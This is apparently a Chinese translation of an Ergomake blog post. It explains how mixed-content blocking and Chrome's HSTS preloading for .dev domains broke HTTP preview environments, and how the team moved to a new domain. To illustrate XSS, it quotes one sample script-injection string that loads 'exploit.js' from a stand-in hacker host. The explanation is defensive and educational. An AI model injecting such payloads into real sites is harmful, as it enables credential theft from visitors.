在Ergomake,只要有人打开拉取请求,我们就会为每种类型的应用程序生成预览。在启动这些预览后,我们会向用户发送一条 GitHub 评论,其中包含预览其应用程序的链接。
上周,一切正常,我们面带微笑。也就是说,直到我们的一位用户不得不设置 HTTP 预览。
该用户的预览不起作用,这让我们感到困惑。在这篇文章中,我们将解释混合内容如何破坏该用户的预览,HSTS(HTTP 严格传输安全)标头如何拯救我们,以及 Google 的默认设置如何“迫使”我们购买另一个域。
内容安全策略、混合内容以及它们如何破坏此预览版
这个预览版的问题是我们通过 HTTPS 提供它,但它从我们基础设施之外的 HTTP 后端获取数据。
默认情况下,大多数浏览器不允许通过 HTTPS 提供的页面从 HTTP 来源加载内容。
为什么 HTTP 请求在此 HTTPS 预览中被阻止?
假设这个预览是一个显示评论的页面。在这种情况下,恶意人士可以提交包含字符串 的评论<script src= "https://hacker.com/exploit.js"></script>
。
然后,script
如果网站不对评论进行清理,则该评论的内容可能会被解释为实际的 HTML 标记。注入的script
标签会导致更多访问者加载hacker.com/exploit.js
,这可能会窃取他们的凭据或监视他们的活动。
这些类型的攻击称为跨站点脚本 (XSS)。
为了防止它们,除了清理用户的输入之外,工程师还可以Content-Security-Policy
在提供页面时设置标题。
这些内容安全策略或 CSP 是网站可以实施的一组规则,以帮助保护访问者的安全。
可以把它想象成在家里为聚会制定规则。例如,您可能会说人们只有在受到邀请的情况下才能进来,不能携带任何危险物品,并且必须在特定时间之前离开。
同样,网站的 CSP 为网页上可以加载哪些内容以及这些内容可以做什么设置了规则。
例如,您可以使用 CSP 标头表示您的客户端只能从https://example.com
. 在这种情况下,用户的浏览器将不会从其他来源加载脚本,例如https://hacker.com
.
这样,恶意代理就无法从您允许的来源以外的来源加载脚本。此外,设置 CSP 标头还会阻止内联脚本运行。因此,攻击者也无法将代码嵌入为内联script
标记。
现在,假设此预览网站使用来自第三方的脚本,名为terrible-analytics.com
,只能通过 HTTP 访问。在这种情况下,黑客先生仍然可以将代码注入您的页面,即使您的 CSP 只允许来自comments.com
和 的脚本terrible-analytics.com
。
那是因为黑客先生可以冒充terrible-analytics.com
,因为它不使用 HTTPS。然后,他们将能够提供恶意脚本,这些脚本会被注入您的页面并由用户的浏览器执行。
这些类型的攻击称为“路径攻击”。当攻击者可以将自己置于两个设备之间时,它们就会发生。在上面的示例中,在途攻击者使用恶意 DNS 服务器将用户定向到他们的服务器,该服务器交付了伪装成analytics.js
客户端预期脚本的恶意软件。
为了防止这些路径上的攻击,浏览器禁止加载“混合内容”,这是通过 HTTP 提供给通过 HTTPS 加载的页面的内容。这样,通过 HTTPS 加载的每个页面只能加载来自其他安全来源的内容,这些来源的权限是“经过认证的”。
如果您停下来想一想,默认情况下阻止混合内容是有意义的,因为它违背了 HTTPS 的目的。
为加载 HTTP 内容的 HTTPS 网站提供服务是毫无意义的。如果这样做,攻击者仍然可以提供恶意脚本来窃取凭据并跟踪用户所做的一切。
不能只允许用户通过 HTTP 访问他们的预览吗?
到现在为止,敏锐的读者可能已经得出结论,我们可以简单地避免将所有 HTTP 请求升级为 HTTPS。
这样,我们就可以避免以下情况,即用户请求 HTTP 网站并被重定向到其 HTTPS 版本,无法从 HTTP 源加载数据。
通过避免此升级,用户的预览会正常工作,因为他们将从通过 HTTP 提供的页面加载 HTTP 内容。
尽管提供 HTTP 内容并不理想,但如果用户想要这样做,我们可能不应该真正妨碍他们。
然后我们继续禁用我们的 Nginx 设置,该设置将端口上的 HTTP 请求重定向80
到端口上的 HTTPS 请求443
。为此,我们只是将nginx.ingress.kubernetes.io/ssl-redirect: "false"
注释添加到预览的入口资源中。
在我们这样做之后,我们注意到预览仍然自动从 HTTP 重定向到 HTTPS,这次带有307
状态代码。
看到该重定向后,我们查看了我们的 HTTP 严格传输安全 (HSTS) 设置。这是因为在Strict-Transport-Security
设置标头时,它会在标头内容中指定的持续时间内将所有未来的 HTTP 访问尝试转换为 HTTPS。
请注意,HSTS 标头仅在第一次 HTTPS 访问后才受到尊重。这是因为如果您使用 HTTP 连接,路径上的攻击者可以操纵标头。
例如,下面的标头将在接下来的 31536000 秒(1 年)内将所有未来的 HTTP 访问尝试转换为 HTTPS,包括对任何子域的请求。
Strict-Transport-Security: max-age=31536000; includeSubDomains
我们以为我们忘记为预览禁用 HSTS,所以我们确认我们的nginx.org/hsts
设置设置为false
。然后,我们清除浏览器的 HSTS 缓存并重试。
没有运气。我们仍然收到 307。
此时,我们很疑惑,尤其是因为cURL'ing the same URL yielded a
200 response, not a
307` 重定向。
$ curl preview-example-123.env.ergomake.dev
[...]
< HTTP/2 200
< content-type: text/html
< content-length: 27986
< date: Wed, 29 Mar 2023 14:13:16 GMT
< last-modified: Fri, 24 Mar 2023 18:45:28 GMT
为什么这些force-ssl
和 HSTS 设置不起作用?
一旦我们看到它cURL
的响应与浏览器的不同,我们认为只有一个罪魁祸首:谷歌。
经过一番研究,我们发现了Mattias Geniar 的这篇博文,其中解释了 Google 如何.dev
通过 Chrome 浏览器中预加载的 HSTS 设置强制通过 HTTPS 提供域服务——Firefox 后来也采用了这种设置。
由于这些预加载设置,任何访问环境的人my-preview-name.env.ergomake.dev
都会自动尝试通过 HTTPS 加载预览,无论我们做了什么。
起初,我们认为我们可以选择退出 HSTS 预加载,但似乎这不可能。即使您通过 访问 Chrome 的 HSTS 设置chrome://net-internals/#hsts
,您也会看到 Google 不允许您删除预加载的 HSTS 条目。
通过购买另一个域名解决问题
没有办法逃脱谷歌的意志。如果他们希望所有.dev
网站都通过 HTTPS 提供服务,我们有什么理由不同意呢?
然后我们继续购买另一个域名:ergomake.link
. 从现在开始,我们将使用该域为所有 Ergomake 预览环境提供服务。
这是因为.link
域不会进入浏览器的 HSTS 预加载列表,除非它们的所有者明确想要包含它们。
要将他们的网站包含在 HSTS 预加载列表中,用户可以将他们的网站提交到hstspreload.org,这是一项由 Google 维护的服务。
将您的网站包含在该列表中将保护用户,甚至在他们第一次通过 HTTPS 加载您的网站之前。然后,浏览器会将所有 HTTP 访问转换为 HTTPS,而不管该站点之前是否被访问过。
关于 hstspreload.org 的一件有趣的事情是它根本不在HSTS 规范中,尽管所有主流浏览器都使用它。
Google 维护 HSTS 预加载服务。通过遵循指南并成功提交您的域,您可以确保浏览器仅通过安全连接连接到您的域。虽然该服务由谷歌托管,但所有浏览器都在使用这个预加载列表。但是,它不是 HSTS 规范的一部分,不应被视为官方——HSTS 的MDN 文档。
值得注意的是,即使preload
指令是非标准的,即使它被用作整个网络上整个“预加载基础设施”的一部分。
# The `preload` directive below informs that the owner wants the
# domain to be included in browser's preload lists
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
确保我们的用户知道 HTTP 预览远非理想
我们不只是希望我们的用户在没有意识到随之而来的安全隐患的情况下开始创建 HTTP 预览。
为防止这种情况,我们决定为用户的撰写文件添加一个特殊标签,以便他们可以确认他们知道 HTTP previous 可能是危险的。
与 React 所做的dangerouslySetInnerHtml
类似,我们决定创建一个配置标志,使 HTTP 预览显然不是一个好主意。
从现在开始,希望设置 HTTP 预览的用户必须使用该dev.ergomake.preview.dangerously-enable-insecure-http
标志。
version: '3.8'
services:
web:
build:
context: ../frontend
ports:
- '8080:8080'
labels:
dev.ergomake.preview.dangerously-enable-insecure-http: true
如果这听起来很可怕,我很高兴。我们希望确保人们知道设置 HTTP 预览不是一个好主意。
尽管拥有 HTTP 预览并不像在 Web 某处运行实际的 HTTP 应用程序那样糟糕,但您可能仍然不希望人们窃听您在这些预览环境中写入的任何内容。
via https://ergomake.dev/blog/hsts-introduction/